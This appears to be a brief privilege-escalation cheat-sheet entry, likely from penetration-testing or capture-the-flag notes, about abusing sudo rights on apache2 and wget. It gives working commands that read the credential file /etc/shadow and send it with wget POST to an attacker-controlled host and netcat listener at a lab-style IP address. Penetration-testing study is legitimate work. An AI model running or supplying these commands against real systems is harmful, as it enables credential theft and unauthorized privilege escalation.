After running sudo -l you come across apache2, however it isn't in gtfobins.
Quick google search can lead you herearrow-up-right.
Apache 2 has the ability to read files so you can abuse this by reading the shadow file
sudo apache2 -f /etc/shadow
Another example could be with wget and sending yourself the shadow file with POST and a nc listener
Last updated 1 year ago
sudo wget --post-file=/etc/shadow 10.10.14.8:1337
